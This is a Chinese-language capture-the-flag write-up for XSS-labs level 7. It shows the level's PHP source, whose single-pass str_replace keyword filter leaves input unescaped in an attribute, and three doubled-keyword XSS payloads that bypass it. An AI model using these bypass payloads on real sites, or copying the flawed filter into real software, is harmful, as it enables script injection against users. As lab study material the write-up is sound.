XSS-labs-level7

访问题目url

还是经典语句起手

<script>alert('xss')</script>

 我们查看一下回显

看来是过滤了一些字符，然后我们直接来看源代码

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

 

• strtolower() 将输入值转换为小写。
• str_replace() 删除一些可能用于XSS攻击的关键词，包括"script"，“on”，“src”，“data"和"href”。
• htmlspecialchars() 将字符转义为HTML实体，以防止XSS攻击。

看来过滤了不少东西，那么我们构造一个payload

" oonnclick=javascript:alert('xss')>//
"><a hrehreff=javascripscriptt:alert('xss')>xss</a>//
"><img srsrcc=1 oonnerror=javascripscriptt:alert('xss')>//

 也就是把str_replace带有的删除，然后拼接成一个正常的语句